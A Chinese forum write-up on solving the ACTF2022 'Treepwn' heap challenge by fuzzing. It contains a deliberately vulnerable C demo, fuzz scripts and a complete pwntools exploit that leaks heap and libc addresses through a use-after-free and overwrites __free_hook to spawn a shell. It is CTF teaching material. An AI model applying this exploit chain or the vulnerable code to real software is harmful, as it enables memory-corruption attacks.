首页
社区
课程
招聘
[原创]【ACTF2022】从Fuzz到XCTF赛题
发表于: 2022-7-1 21:39 21649

[原创]【ACTF2022】从Fuzz到XCTF赛题

2022-7-1 21:39
21649

今年的XCTF最后一战ACTF圆满结束了,战队最后也是稳住了19名,应该能拿到决赛门票

img

但ACTF中,pwn题凄惨爆零。。。虽然只有俺做,但这不能成为摆烂的理由,毕竟要不断成长为战队主力,而且身边有很多很强的同龄师傅,更不应该气馁

在军训途中复现了Tree_pwn,在uuu师傅的引导下学到了如何将fuzz的思想用于比赛的堆题中,于是在此记录一下

考虑很多师傅还不会fuzz或者没听过,在这里再提一下

img

以上是百度百科的介绍,未免有些抽象,下面举一个形象的例子:

相信大家都玩过CF,老版本的CF可以卡出一些奇奇怪怪的bug,就比如说,你站在一个箱子的一个角上来回前后前后摩擦步伐,就能够卡进箱子里

img

这其实也是一种fuzz,因为我们的移动其实也是一种通过键盘向挂在服务器上的程序的输入,卡进箱子里就是一种程序的漏洞

笔者的这篇文章讲述了如何用AFL对开源的TCPdump进行fuzz,但一般的fuzz变异的程度太高,这是建立在对TCPdump这样源码码量极大的程序运行流极难分析的情况下的。但是如果熟练掌握程序运行流,写了一些比较好的初始的语料库,那么就能够大大提高fuzz的效率(对于TCPdump在github上就有初始的比较好的语料库)

而堆题又怎么fuzz呢?看看下面的demo:

我们用如下的python脚本:

就能够探测出存不存在UAF漏洞和是否能够泄露堆地址:

img

并且把fuzz过程中使用的指令放在“log.txt”中,方便我们分析crash的成因:

img

有人会说,你这个程序看看就能看出来UAF和泄露堆地址在哪了:

img

确实,因为这是我自己写的用来调试ptmalloc2的demo,一般的题不会这么赤裸裸,比如2022ACTF那道Treepwn

题目链接

libc-2.27.1.6

img

在ida里面乱点一通,人都傻了,一大堆看不懂的函数

img

不过没扣符号表,百度那个显眼的MBR可以知道,函数实现了一棵叶子结点集大小上限为6的R-tree

简单说说R-tree:

R-tree是一种优化信息查找的平衡树(所有叶子节点都在一层的树),是B-tree向多维空间数据的一个扩展。而在B-tree中查找一个信息等价于在区间上做一次二分,也就是logN的时间复杂度

R-tree有个重要的概念,就是最小边界矩形MBR(Minimal Bounding Rectangle),以最简单的存放二维空间坐标的R-tree为例:叶子节点就是单个的坐标,叶子节点的父节点就是包含它以及它的兄弟的最小的一个空间矩形,而每个空间矩形有一个最大容纳量,也就是一个矩形中包含的最多的矩形或者点的个数。如下:

img

黑色的点表示叶子节点,红框和绿框是父节点,蓝筐是父节点的父节点(爷爷节点):

img

然而想要维护这一棵树需要很多的很复杂的函数,比如插入函数、查找函数、排序函数(平衡树一般插入或者删去节点就会有一个排序)以及达到上限或者下限(一个矩形中的节点删完了)的分裂函数等等,感兴趣的话可以自行了解

事实说明,自己学了,学完了都不一定能逆懂这个程序,更别提找漏洞了

于是这个时候我们就可以上fuzz来找漏洞了

发现触发了double free(这个触发的堆块就是UAF堆块):

img

分析crash(甚至可以不分析)发现:

img

img

正常的free是有防止UAF的,但是在tree_split_leaf_node函数里面就没有,并且我们可以通过query或者show泄露出堆地址(上面的fuzz脚本如果跑通的话,就表明泄露heap地址了)

然而add的堆块是统一的0x30大小,如何泄露libc呢?

通过UAF提供的tcache double free修改一个fuzz出UAF堆块的size位为unsorted bin大小,然后free并show就可以泄露libc了。然后再fuzz出一个UAF的堆块,再tcache double free打free_hook就可以getshell了

也就是说需要fuzz出3个UAF堆块,我是分两次fuzz出的,运气已经很不错了

最后通过add修改free_hook的时候,可能触发分裂free一个0x50大小的MBR堆块,就会卡死程序,只要在这之前free掉无关的堆块就好了

 
 
 
 
 
 
 
 
 
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
 
#define N 1000
 
char* note[N];
 
void init()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}
 
void menu()
{
    puts("1.add");
    puts("2.delet");
    puts("3.edit");
    puts("4.show");
    puts("5.leak");
    puts("6.free");
    puts("7.write");
    puts("8.exit");
}
 
void add()
{
    int sz,idx;
    puts("size:");
    scanf("%d",&sz);
    puts("idx:");
    scanf("%d",&idx);
    note[idx]=(char *)malloc(sz);
}
 
void delet()
{
    int idx;
    puts("idx:");
    scanf("%d",&idx);
    free(note[idx]);
}
 
void edit()
{
    int idx,sz;
    puts("size:");
    scanf("%d",&sz);
    puts("idx:");
    scanf("%d",&idx);
    puts(">>");
    read(0,note[idx],sz);
}
 
void show()
{
    int idx;
    puts("idx:");
    scanf("%d",&idx);
    printf(">>: %s",note[idx]);   
}
 
void leak()
{
    char buf[100];
    puts("input:");   
    scanf("%s",buf);
    printf(buf);
}
 
void key_free()
{
    char* p[1];
    puts(">> ");
    read(0,p,0x8);
    free((char*)p[0]);
}
 
void write_in()
{
    char* p[1];
    int sz;
    puts(">> ");
    read(0,p,0x8);
    puts(">> ");
    scanf("%d",&sz);
    puts(">> ");
    read(0,(char*)p[0],sz);   
}
 
int main()
{
    int x;
    puts("welcome to use my demo");
    puts("it will help you know sth about ptmalloc2");
    init();
    while(1){
        menu();
        puts(">> ");
        scanf("%d",&x);
        if(x==1){
           add();   
        }
        else if(x==2){
           delet();   
        }
        else if(x==3){
           edit();   
        }
        else if(x==4){
           show();    
        }
        else if (x==5){
           leak();   
        }
        else if (x==6){
           key_free();   
        }
        else if (x==7){
           write_in();   
        }
        else if (x==8){
           exit(0);   
        }
        else{
            return 0;
        }      
    }
}
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
 
#define N 1000
 
char* note[N];
 
void init()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}
 
void menu()
{
    puts("1.add");
    puts("2.delet");
    puts("3.edit");
    puts("4.show");
    puts("5.leak");
    puts("6.free");
    puts("7.write");
    puts("8.exit");
}
 
void add()
{
    int sz,idx;
    puts("size:");
    scanf("%d",&sz);
    puts("idx:");
    scanf("%d",&idx);
    note[idx]=(char *)malloc(sz);
}
 
void delet()
{
    int idx;
    puts("idx:");
    scanf("%d",&idx);
    free(note[idx]);
}
 
void edit()
{
    int idx,sz;
    puts("size:");
    scanf("%d",&sz);
    puts("idx:");
    scanf("%d",&idx);
    puts(">>");
    read(0,note[idx],sz);
}
 
void show()
{
    int idx;
    puts("idx:");
    scanf("%d",&idx);
    printf(">>: %s",note[idx]);   
}
 
void leak()
{
    char buf[100];
    puts("input:");   
    scanf("%s",buf);
    printf(buf);
}
 
void key_free()
{
    char* p[1];
    puts(">> ");
    read(0,p,0x8);
    free((char*)p[0]);
}
 
void write_in()
{
    char* p[1];
    int sz;
    puts(">> ");
    read(0,p,0x8);
    puts(">> ");
    scanf("%d",&sz);
    puts(">> ");
    read(0,(char*)p[0],sz);   
}
 
int main()
{
    int x;
    puts("welcome to use my demo");
    puts("it will help you know sth about ptmalloc2");
    init();
    while(1){
        menu();
        puts(">> ");
        scanf("%d",&x);
        if(x==1){
           add();   
        }
        else if(x==2){
           delet();   
        }
        else if(x==3){
           edit();   
        }
        else if(x==4){
           show();    
        }
        else if (x==5){
           leak();   
        }
        else if (x==6){
           key_free();   
        }
        else if (x==7){
           write_in();   
        }
        else if (x==8){
           exit(0);   
        }
        else{
            return 0;
        }      
    }
}
def fuzz():
    f=open('log.txt','w')
    for i in range(0,0x1000):
        if i % 10 == 0:
           idx=randint(0,0x10)
           add(idx,0x20)
           f.write('add({},0x20)'.format(idx)+'\n')
        elif i % 2 == 0 :
           idx=randint(0,0x10)
           delet(idx)
           f.write('delt({})'.format(idx)+'\n')
        elif i % 3 == 0 :
           idx=randint(0,0x10)
           show(idx)
           r.recvuntil('>>: ')
           check_char=r.recv(1)
           if check_char == '\x55' or check_char == '\x56':
              f.write('show({})'.format(idx)+'\n')
              break            
    f.close()
def fuzz():
    f=open('log.txt','w')
    for i in range(0,0x1000):
        if i % 10 == 0:
           idx=randint(0,0x10)
           add(idx,0x20)
           f.write('add({},0x20)'.format(idx)+'\n')
        elif i % 2 == 0 :
           idx=randint(0,0x10)
           delet(idx)
           f.write('delt({})'.format(idx)+'\n')
        elif i % 3 == 0 :
           idx=randint(0,0x10)
           show(idx)
           r.recvuntil('>>: ')
           check_char=r.recv(1)
           if check_char == '\x55' or check_char == '\x56':
              f.write('show({})'.format(idx)+'\n')
              break            
    f.close()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
def fuzz():
 f=open('./log.txt','w')
 for i in range(0x1000):
    if(i%10==0):
        a = randint(0,8)
        b = randint(0,8)
        add(a,b,str(i))
        data0=r.recvuntil('Choice Table')
        if 'two many' in data0:
            break
        f.write(' add({},{},str({}))\n'.format(a,b,i))
    elif(i%2==0):
        a = randint(0,8)
        b = randint(0,8)
        delet(a,b)
        data0=r.recvline()
        if 'not exists' in data0:
            continue
        f.write(' delet({},{})\n'.format(a,b))
    else:
        continue
        a = randint(0,8)
        b = randint(0,8)
        c = randint(0,8)
        d = randint(0,8)
        query(a,b,c,d)
        data0=r.recvuntil('Choice Table')
        if 'totally 0 elements' in data0:
            continue
        elif '\x55' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            ##f.
            break
        elif '\x56' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            break
 f.close()
def fuzz():
 f=open('./log.txt','w')
 for i in range(0x1000):
    if(i%10==0):
        a = randint(0,8)
        b = randint(0,8)
        add(a,b,str(i))
        data0=r.recvuntil('Choice Table')
        if 'two many' in data0:
            break
        f.write(' add({},{},str({}))\n'.format(a,b,i))
    elif(i%2==0):
        a = randint(0,8)
        b = randint(0,8)
        delet(a,b)
        data0=r.recvline()
        if 'not exists' in data0:
            continue
        f.write(' delet({},{})\n'.format(a,b))
    else:
        continue
        a = randint(0,8)
        b = randint(0,8)
        c = randint(0,8)
        d = randint(0,8)
        query(a,b,c,d)
        data0=r.recvuntil('Choice Table')
        if 'totally 0 elements' in data0:
            continue
        elif '\x55' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            ##f.
            break
        elif '\x56' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            break
 f.close()
 
 
 
 
 
 
 
 
from pwn import *
from hashlib import sha256
import os
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
 
def proofOfWork():
    r.recvuntil('Submit the token generated by `')
    command = r.recvuntil('`',drop=True)
    r.sendline(os.popen(command).read())
 
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter('> ',str(num))
 
def add(x,y,name):
    cho(0)
    r.sendlineafter("value: ",str(x))
    r.sendlineafter("value: ",str(y))
    r.sendafter("new element name: ",name.ljust(0x20,'\x00'))
 
def delet(x,y):
    cho(1)
    r.sendlineafter("want element x-coordinate value: ",str(x))
    r.sendlineafter("want element y-coordinate value: ",str(y))
 
def edit(x,y,name):
    cho(2)
    r.sendlineafter("want element x-coordinate value: ",str(x))
    r.sendlineafter("want element y-coordinate value: ",str(y))
    r.sendafter("name: ",name.ljust(0x20,'\x00'))
 
def show(x,y):
    cho(3)
    r.sendlineafter('value',str(x))
    r.sendlineafter('value',str(y))
 
def query(a,b,c,d):
    cho(4)
    r.sendlineafter("value: ",str(a))
    r.sendlineafter("value: ",str(b))
    r.sendlineafter("value: ",str(c))
    r.sendlineafter("value: ",str(d))
 
def fuzz():
 f=open('./log.txt','w')
 for i in range(0x1000):
    if(i%10==0):
        a = randint(0,8)
        b = randint(0,8)
        add(a,b,str(i))
        data0=r.recvuntil('Choice Table')
        if 'two many' in data0:
            break
        f.write(' add({},{},str({}))\n'.format(a,b,i))
    elif(i%2==0):
        a = randint(0,8)
        b = randint(0,8)
        delet(a,b)
        data0=r.recvline()
        if 'not exists' in data0:
            continue
        f.write(' delet({},{})\n'.format(a,b))
    else:
        continue
        a = randint(0,8)
        b = randint(0,8)
        c = randint(0,8)
        d = randint(0,8)
        query(a,b,c,d)
        data0=r.recvuntil('Choice Table')
        if 'totally 0 elements' in data0:
            continue
        elif '\x55' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            ##f.
            break
        elif '\x56' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            break
 f.close()
 
def leak_heap():
 global heap
 add(1,0,str(0))
 add(1,8,str(5))
 add(5,6,str(10))
 add(1,8,str(15))
 add(8,3,str(20))
 delet(8,3)
 add(8,7,str(25))
 add(4,0,str(30))
 add(2,6,str(35))
 add(6,1,str(40))
 add(1,6,str(45))
 add(3,7,str(50))
 add(8,4,str(55))
 delet(3,7)
 add(0,5,str(60))
 add(4,3,str(65))
 add(8,0,str(70))
 add(1,8,str(75))
 add(1,3,str(80))
 add(1,6,str(85))
 add(8,6,str(90))
 add(7,2,str(95))
 delet(0,5)
 delet(7,2)
 add(7,6,str(100))
 add(8,7,str(105))
 delet(8,7)
 add(2,4,str(110))
 add(3,0,str(115))
 delet(4,3)
 add(3,1,str(120))
 delet(8,6)
 add(7,8,str(125))
 delet(7,8)
 add(7,0,str(130))
 delet(8,7)
 add(7,6,str(135))
 add(4,4,str(140))
 delet(1,6)
 add(0,4,str(145))
 add(7,8,str(150))
 add(4,8,str(155))
 delet(3,1)
 add(6,1,str(160))
 add(8,0,str(165))
 add(3,4,str(170))
 delet(7,8)
 add(7,4,str(175))
 delet(4,8)
 delet(1,8)
 add(4,5,str(180))
 delet(3,0)
 add(8,8,str(185))
 delet(6,1)
 add(7,6,str(190))
 delet(8,0)
 add(7,3,str(195))
 delet(8,0)
 add(0,2,str(200))
 add(5,1,str(205))
 add(5,0,str(210))
 add(8,7,str(215))
 delet(2,4)
 ##z()
 query(1,0,5,5)
 ##string=r.recvuntil('\x55')[:-6]
 heap=u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))-0x10
 log.success('heap:'+str(hex(heap)))
 
def uaf():
 ##change(1,8)'s size to send it to unsorted bin
 add(3,6,str(0))
 add(2,0,str(10))
 delet(0,4)
 delet(8,7)
 add(3,2,str(20))
 add(6,6,str(30))
 delet(8,8)
 delet(0,2)
 add(0,3,str(40))
 delet(3,6)
 delet(5,6)
 add(1,8,str(50))
 delet(7,0)
 add(8,8,str(60))
 add(0,4,str(70))
 delet(3,4)
 add(6,1,str(80))
 add(7,5,str(90))
 ##z()
 ##delet(1,8)
 ##delet(7,5)
 ##delet(0,4) ##heap+0x8a8
 delet(8,8)
 delet(2,0)
 ##z()
 edit(2,0,p64(heap+0x8a0))
 add(2,0,'nameless')
 add(8,8,p64(0)+p64(0x551))
 ##z()
 ##z()
 add(4,6,str(0))
 delet(8,8)
 add(6,7,str(10))
 ##delet(3,6)
 ##delet(3,6)
 ##leak_libc
 delet(1,8)
 ##z()
 show(1,8)
 r.recvuntil('found!!! its name: ')
 libcbase=u64(r.recvuntil('\x7f').ljust(8,'\x00'))-0x3ebca0
 log.success('libcbase:'+hex(libcbase))
 '''
 f=open('log.txt','w')
 for i in range(0,9):
     for j in range(0,9):
         if(i==1 and j==8):continue
         delet(i,j)
         f.write(str(i)+" "+str(j)+'\n')
 f.close()
 '''
 
 ##set_libc_func
 free_hook=libcbase+libc.sym['__free_hook']
 system=libcbase+libc.sym['system']
 ##one=[0x4f2a5,0x4f302,0x10a2fc]
 ##onegadget=libcbase+one[0]
 
 f=open('log.txt','w')
 for i in range(0,9):
     for j in range(0,9):
         if(i==1 and j==8) : continue
         if(i==3 and j==6) : continue
         delet(i,j)
         f.write(str(i)+" "+str(j)+'\n')
 f.close()
 ##delet(3,6)
 ##delet(3,6)
 ## get_shell
 ##z()
 ##delet(6,1)
 ##delet(4,0)
 add(66,66,'nameless')
 delet(3,6)
 ##z()
 edit(3,6,p64(free_hook))
 add(3,6,'/bin/sh\x00')
 ##z()
 log.success('system:'+str(hex(system)))
 ##z()
 add(6,6,p64(system))
 delet(3,6)
 ##z()
 ##delet(3,6)
 ##delet(3,6)
 ##delet(1,7)
 ##z()
 ##add(66,66,'nameless')
 ##z()
 ##fuzz()
 ##z()
 ##delet(4,0)
 ##delet(4,0)
 
 ##delet(4,0)
 
 
def exp():
    global r
    global libc
    r=remote("121.36.241.104",9999)
    proofOfWork()
    ##r=process('./treepwn')
    libc=ELF('./libc-2.27.so')
    ##fuzz()
    leak_heap()
    uaf()
    r.interactive()
 
if __name__ == '__main__':
 
    exp()
from pwn import *
from hashlib import sha256
import os
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'

[注意]APP应用上架合规检测服务,协助应用顺利上架!

最后于 2022-7-16 22:32 被Nameless_a编辑 ,原因:
上传的附件:
收藏
免费 10
支持
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/10/13 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (4)
雪    币: 117
活跃值: (892)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
好思路,感谢分享
2022-7-25 15:13
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
3
good
2022-7-25 16:27
0
雪    币: 14676
活跃值: (17774)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
4
感谢分享,楼主你为什么这么强
2022-7-25 17:14
0
雪    币: 196
活跃值: (774)
能力值: ( LV6,RANK:88 )
在线值:
发帖
回帖
粉丝
5
学到了
2022-10-11 09:16
0
游客
登录 | 注册 方可回帖
返回
//